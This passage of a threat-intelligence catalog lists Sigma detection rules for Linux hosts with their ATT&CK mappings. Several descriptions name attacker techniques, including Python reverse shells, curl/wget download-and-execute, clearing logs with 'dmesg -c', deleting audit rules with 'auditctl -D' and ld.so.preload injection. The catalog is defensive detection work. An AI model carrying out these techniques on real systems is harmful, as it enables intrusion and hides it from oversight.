https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/path/lnx_auditd_auditing_config_change.yml

System and Hardware Information Discovery

Detects system information discovery commands

The tag is: *misp-galaxy:sigma-rules="System and Hardware Information Discovery"*

View relationships graph

System and Hardware Information Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 17285. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/path/lnx_auditd_system_info_discovery2.yml

Systemd Service Creation

Detects a creation of systemd services which could be used by adversaries to execute malicious code.

The tag is: *misp-galaxy:sigma-rules="Systemd Service Creation"*

View relationships graph

Systemd Service Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"

Table 17286. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/path/lnx_auditd_systemd_service_creation.yml

Modification of ld.so.preload

Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.

The tag is: *misp-galaxy:sigma-rules="Modification of ld.so.preload"*

View relationships graph

Modification of ld.so.preload has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006" with estimative-language:likelihood-probability="almost-certain"

Table 17287. Table References

Links
https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/path/lnx_auditd_ld_so_preload_mod.yml

BPFDoor Abnormal Process ID or Lock File Accessed

detects BPFDoor .lock and .pid files access in temporary file storage facility

The tag is: *misp-galaxy:sigma-rules="BPFDoor Abnormal Process ID or Lock File Accessed"*

View relationships graph

BPFDoor Abnormal Process ID or Lock File Accessed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17288. Table References

Links
https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/path/lnx_auditd_bpfdoor_file_accessed.yml

Unix Shell Configuration Modification

Detect unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.

The tag is: *misp-galaxy:sigma-rules="Unix Shell Configuration Modification"*

View relationships graph

Unix Shell Configuration Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004" with estimative-language:likelihood-probability="almost-certain"

Table 17289. Table References

Links
https://web.archive.org/web/20221204161143/https://www.glitch-cat.com/p/green-lambert-and-attack
https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
https://objective-see.org/blog/blog_0x68.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/path/lnx_auditd_unix_shell_configuration_modification.yml

Potential Abuse of Linux Magic System Request Key

Detects the potential abuse of the Linux Magic SysRq (System Request) key by adversaries with root or sufficient privileges to silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can crash the system, kill processes, or disrupt forensic analysis—all while bypassing standard logging. Though intended for recovery and debugging, SysRq can be misused as a stealthy post-exploitation tool. It is controlled via /proc/sys/kernel/sysrq or permanently through /etc/sysctl.conf.

The tag is: *misp-galaxy:sigma-rules="Potential Abuse of Linux Magic System Request Key"*

View relationships graph

Potential Abuse of Linux Magic System Request Key has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"

Table 17290. Table References

Links
https://www.splunk.com/en_us/blog/security/threat-update-awfulshred-script-wiper.html
https://www.kernel.org/doc/html/v4.10/_sources/admin-guide/sysrq.txt

https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/4/html/reference_guide/s3-proc-sys-kernel
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/path/lnx_auditd_magic_system_request_key.yml

Logging Configuration Changes on Linux Host

Detect changes of syslog daemons configuration files

The tag is: *misp-galaxy:sigma-rules="Logging Configuration Changes on Linux Host"*

View relationships graph

Logging Configuration Changes on Linux Host has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

Table 17291. Table References

Links
self experience[self experience]
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/path/lnx_auditd_logging_config_change.yml

Use Of Hidden Paths Or Files

Detects calls to hidden files or files located in hidden directories in NIX systems.

The tag is: *misp-galaxy:sigma-rules="Use Of Hidden Paths Or Files"*

View relationships graph

Use Of Hidden Paths Or Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 17292. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/path/lnx_auditd_hidden_binary_execution.yml

Webshell Remote Command Execution

Detects possible command execution by web application/web shell

The tag is: *misp-galaxy:sigma-rules="Webshell Remote Command Execution"*

View relationships graph

Webshell Remote Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 17293. Table References

Links
https://www.vaadata.com/blog/what-is-command-injection-exploitations-and-security-best-practices/
Personal Experience of the Author[Personal Experience of the Author]
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/syscall/lnx_auditd_web_rce.yml

Program Executions in Suspicious Folders

Detects program executions in suspicious non-program folders related to malware or hacking activity

The tag is: *misp-galaxy:sigma-rules="Program Executions in Suspicious Folders"*

View relationships graph

Program Executions in Suspicious Folders has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Compromise Infrastructure - T1584" with estimative-language:likelihood-probability="almost-certain"

Table 17294. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/syscall/lnx_auditd_susp_exe_folders.yml

Clear or Disable Kernel Ring Buffer Logs via Syslog Syscall

Detects the use of the `syslog` syscall with action code 5 (SYSLOG_ACTION_CLEAR), (4 is SYSLOG_ACTION_READ_CLEAR and 6 is SYSLOG_ACTION_CONSOLE_OFF) which clears the kernel ring buffer (dmesg logs). This can be used by attackers to hide traces after exploitation or privilege escalation. A common technique is running `dmesg -c`, which triggers this syscall internally.

The tag is: *misp-galaxy:sigma-rules="Clear or Disable Kernel Ring Buffer Logs via Syslog Syscall"*

View relationships graph

Clear or Disable Kernel Ring Buffer Logs via Syslog Syscall has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"

Table 17295. Table References

Links
https://man7.org/linux/man-pages/man1/dmesg.1.html
https://man7.org/linux/man-pages/man2/syslog.2.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/syscall/lnx_auditd_clean_disable_dmesg_logs_via_syslog.yml

Creation Of An User Account

Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

The tag is: *misp-galaxy:sigma-rules="Creation Of An User Account"*

View relationships graph

Creation Of An User Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 17296. Table References

Links
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-understanding_audit_log_files
https://www.youtube.com/watch?v=VmvY5SQm5-Y&ab_channel=M45C07
https://access.redhat.com/articles/4409591#audit-record-types-2

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/syscall/lnx_auditd_create_account.yml

Linux Network Service Scanning - Auditd

Detects enumeration of local or remote network services.

The tag is: *misp-galaxy:sigma-rules="Linux Network Service Scanning - Auditd"*

View relationships graph

Linux Network Service Scanning - Auditd has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 17297. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/syscall/lnx_auditd_network_service_scanning.yml

System Info Discovery via Sysinfo Syscall

Detects use of the sysinfo system call in Linux, which provides a snapshot of key system statistics such as uptime, load averages, memory usage, and the number of running processes. Malware or reconnaissance tools might leverage sysinfo to fingerprint the system - gathering data to determine if it’s a viable target.

The tag is: *misp-galaxy:sigma-rules="System Info Discovery via Sysinfo Syscall"*

View relationships graph

System Info Discovery via Sysinfo Syscall has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 17298. Table References

Links
https://man7.org/linux/man-pages/man2/sysinfo.2.html
https://github.com/CheraghiMilad/bypass-Neo23x0-auditd-config/blob/f1c478a37911a5447d5ffcd580f22b167bf3df14/sysinfo-syscall/README.md

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/syscall/lnx_auditd_susp_discovery_sysinfo_syscall.yml

Special File Creation via Mknod Syscall

Detects usage of the `mknod` syscall to create special files (e.g., character or block devices). Attackers or malware might use `mknod` to create fake devices, interact with kernel interfaces, or establish covert channels in Linux systems. Monitoring the use of `mknod` is important because this syscall is rarely used by legitimate applications, and it can be abused to bypass file system restrictions or create backdoors.

The tag is: *misp-galaxy:sigma-rules="Special File Creation via Mknod Syscall"*

View relationships graph

Special File Creation via Mknod Syscall has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 17299. Table References

Links
https://hopeness.medium.com/master-the-linux-mknod-command-a-comprehensive-guide-1c150a546aa8
https://man7.org/linux/man-pages/man2/mknod.2.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/syscall/lnx_auditd_susp_special_file_creation_via_mknod_syscall.yml

Loading of Kernel Module via Insmod

Detects loading of kernel modules with insmod command. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.

The tag is: *misp-galaxy:sigma-rules="Loading of Kernel Module via Insmod"*

View relationships graph

Loading of Kernel Module via Insmod has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006" with estimative-language:likelihood-probability="almost-certain"

Table 17300. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md
https://man7.org/linux/man-pages/man8/kmod.8.html
https://linux.die.net/man/8/insmod
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/syscall/lnx_auditd_load_module_insmod.yml

Split A File Into Pieces - Linux

Detection use of the command "split" to split files into parts and possible transfer.

The tag is: *misp-galaxy:sigma-rules="Split A File Into Pieces - Linux"*

View relationships graph

Split A File Into Pieces - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

Table 17301. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/syscall/lnx_auditd_split_file_into_pieces.yml

Disable System Firewall

Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.

The tag is: *misp-galaxy:sigma-rules="Disable System Firewall"*

View relationships graph

Disable System Firewall has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 17302. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md

https://firewalld.org/documentation/man-pages/firewall-cmd.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/service_stop/lnx_auditd_disable_system_firewall.yml

Clear Linux Logs

Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion

The tag is: *misp-galaxy:sigma-rules="Clear Linux Logs"*

View relationships graph

Clear Linux Logs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"

Table 17303. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml

Suspicious Download and Execute Pattern via Curl/Wget

Detects suspicious use of command-line tools such as curl or wget to download remote content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by immediate execution, indicating potential malicious activity. This pattern is commonly used by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.

The tag is: *misp-galaxy:sigma-rules="Suspicious Download and Execute Pattern via Curl/Wget"*

View relationships graph

Suspicious Download and Execute Pattern via Curl/Wget has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 17304. Table References

Links

https://gtfobins.github.io/gtfobins/curl/
https://gtfobins.github.io/gtfobins/wget/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_wget_exec_tmp.yml

Suspicious Invocation of Shell via Rsync

Detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

The tag is: *misp-galaxy:sigma-rules="Suspicious Invocation of Shell via Rsync"*

View relationships graph

Suspicious Invocation of Shell via Rsync has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 17305. Table References

Links
https://gist.github.com/Neo23x0/a20436375a1e26524931dd8ea1a3af10
https://sysdig.com/blog/detecting-and-mitigating-cve-2024-12084-rsync-remote-code-execution/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_rsync_shell_spawn.yml

Pnscan Binary Data Transmission Activity

Detects command line patterns associated with the use of Pnscan for sending and receiving binary data across the network. This behavior has been identified in a Linux malware campaign targeting Docker, Apache Hadoop, Redis, and Confluence and was previously used by the threat actor known as TeamTNT

The tag is: *misp-galaxy:sigma-rules="Pnscan Binary Data Transmission Activity"*

View relationships graph

Pnscan Binary Data Transmission Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 17306. Table References

Links
https://regex101.com/r/RugQYK/1
https://intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf
https://www.virustotal.com/gui/file/beddf70a7bab805f0c0b69ac0989db6755949f9f68525c08cb874988353f78a9/content
https://www.cadosecurity.com/blog/spinning-yarn-a-new-linux-malware-campaign-targets-docker-apache-hadoop-redis-and-confluence
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_pnscan_binary_cli_pattern.yml

Remove Immutable File Attribute

Detects usage of the 'chattr' utility to remove immutable file attribute.

The tag is: *misp-galaxy:sigma-rules="Remove Immutable File Attribute"*

View relationships graph

Remove Immutable File Attribute has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

Table 17307. Table References

Links
https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml

Potentially Suspicious Named Pipe Created Via Mkfifo

Detects the creation of a new named pipe using the "mkfifo" utility in a potentially suspicious location

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Named Pipe Created Via Mkfifo"*

Table 17308. Table References

Links
https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk
https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation_susp_location.yml

Suspicious Invocation of Shell via AWK - Linux

Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.

The tag is: *misp-galaxy:sigma-rules="Suspicious Invocation of Shell via AWK - Linux"*

View relationships graph

Suspicious Invocation of Shell via AWK - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 17309. Table References

Links
https://gtfobins.github.io/gtfobins/awk/#shell
https://gtfobins.github.io/gtfobins/nawk/#shell
https://gtfobins.github.io/gtfobins/gawk/#shell
https://gtfobins.github.io/gtfobins/mawk/#shell
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_awk_shell_spawn.yml

Python Reverse Shell Execution Via PTY And Socket Modules

Detects the execution of python with calls to the socket and pty module in order to connect and spawn a potential reverse shell.

The tag is: *misp-galaxy:sigma-rules="Python Reverse Shell Execution Via PTY And Socket Modules"*

Table 17310. Table References

Links
https://www.revshells.com/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_reverse_shell.yml

Named Pipe Created Via Mkfifo

Detects the creation of a new named pipe using the "mkfifo" utility

The tag is: *misp-galaxy:sigma-rules="Named Pipe Created Via Mkfifo"*

Table 17311. Table References

Links
https://dev.to/0xbf/use-mkfifo-to-create-named-pipe-linux-tips-5bbk
https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_mkfifo_named_pipe_creation.yml

Local System Accounts Discovery - Linux

Detects enumeration of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

The tag is: *misp-galaxy:sigma-rules="Local System Accounts Discovery - Linux"*

View relationships graph

Local System Accounts Discovery - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

Table 17312. Table References

Links
https://my.f5.com/manage/s/article/K589
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md
https://man.freebsd.org/cgi/man.cgi?pwd_mkdb
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml

Scheduled Task/Job At

Detects the use of at/atd which are utilities that are used to schedule tasks. They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code

The tag is: *misp-galaxy:sigma-rules="Scheduled Task/Job At"*

View relationships graph

Scheduled Task/Job At has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 17313. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_at_command.yml

ESXi System Information Discovery Via ESXCLI

Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.

The tag is: *misp-galaxy:sigma-rules="ESXi System Information Discovery Via ESXCLI"*

View relationships graph

ESXi System Information Discovery Via ESXCLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hypervisor CLI - T1059.012" with estimative-language:likelihood-probability="almost-certain"

Table 17314. Table References

Links
https://developer.broadcom.com/xapis/esxcli-command-reference/7.0.0/namespace/esxcli_system.html
https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_esxcli_system_discovery.yml

File and Directory Discovery - Linux

Detects usage of system utilities such as "find", "tree", "findmnt", etc, to discover files, directories and network shares.

The tag is: *misp-galaxy:sigma-rules="File and Directory Discovery - Linux"*

View relationships graph

File and Directory Discovery - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 17315. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_and_directory_discovery.yml

System Network Connections Discovery - Linux

Detects usage of system utilities to discover system network connections

The tag is: *misp-galaxy:sigma-rules="System Network Connections Discovery - Linux"*

View relationships graph

System Network Connections Discovery - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 17316. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_network_connections_discovery.yml

Audit Rules Deleted Via Auditctl

Detects the execution of 'auditctl' with the '-D' command line parameter, which deletes all configured audit rules and watches on Linux systems. This technique is commonly used by attackers to disable audit logging and cover their tracks by removing monitoring capabilities. Removal of audit rules can significantly impair detection of malicious activities on the affected system.

The tag is: *misp-galaxy:sigma-rules="Audit Rules Deleted Via Auditctl"*

View relationships graph

Audit Rules Deleted Via Auditctl has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Linux Audit System - T1562.012" with estimative-language:likelihood-probability="almost-certain"

Table 17317. Table References

Links
https://linux.die.net/man/8/auditct
https://www.atomicredteam.io/atomic-red-team/atomics/T1562.012
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_auditctl_clear_rules.yml

Disabling Security Tools

Detects disabling security tools

The tag is: *misp-galaxy:sigma-rules="Disabling Security Tools"*

View relationships graph

Disabling Security Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 17318. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_tools_disabling.yml

Shell Execution via Nice - Linux

Detects the use of the "nice" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.

The tag is: *misp-galaxy:sigma-rules="Shell Execution via Nice - Linux"*

View relationships graph

Shell Execution via Nice - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 17319. Table References

Links
https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html
https://gtfobins.github.io/gtfobins/nice/#shell
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nice_shell_execution.yml

Remote Access Tool - Team Viewer Session Started On Linux Host

Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - Team Viewer Session Started On Linux Host"*

View relationships graph

Remote Access Tool - Team Viewer Session Started On Linux Host has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 17320. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remote_access_tools_teamviewer_incoming_connection.yml

Interactive Bash Suspicious Children

Detects suspicious interactive bash as a parent to rather uncommon child processes

The tag is: *misp-galaxy:sigma-rules="Interactive Bash Suspicious Children"*

View relationships graph

Interactive Bash Suspicious Children has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 17321. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml

Setuid and Setgid

Detects suspicious change of file privileges with chown and chmod commands

The tag is: *misp-galaxy:sigma-rules="Setuid and Setgid"*

View relationships graph

Setuid and Setgid has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001" with estimative-language:likelihood-probability="almost-certain"

Table 17322. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_setgid_setuid.yml

Crontab Enumeration

Detects usage of crontab to list the tasks of the user

The tag is: *misp-galaxy:sigma-rules="Crontab Enumeration"*

View relationships graph

Crontab Enumeration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 17323. Table References

Links
https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/
https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection

https://blogs.jpcert.or.jp/en/2023/05/gobrat.html
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_enumeration.yml

System Information Discovery

Detects system information discovery commands

The tag is: *misp-galaxy:sigma-rules="System Information Discovery"*

View relationships graph

System Information Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 17324. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_system_info_discovery.yml

OMIGOD SCX RunAsProvider ExecuteShellCommand

Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

The tag is: *misp-galaxy:sigma-rules="OMIGOD SCX RunAsProvider ExecuteShellCommand"*

View relationships graph

OMIGOD SCX RunAsProvider ExecuteShellCommand has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 17325. Table References

Links

https://github.com/Azure/Azure-Sentinel/pull/3059
https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml

Linux Network Service Scanning Tools Execution

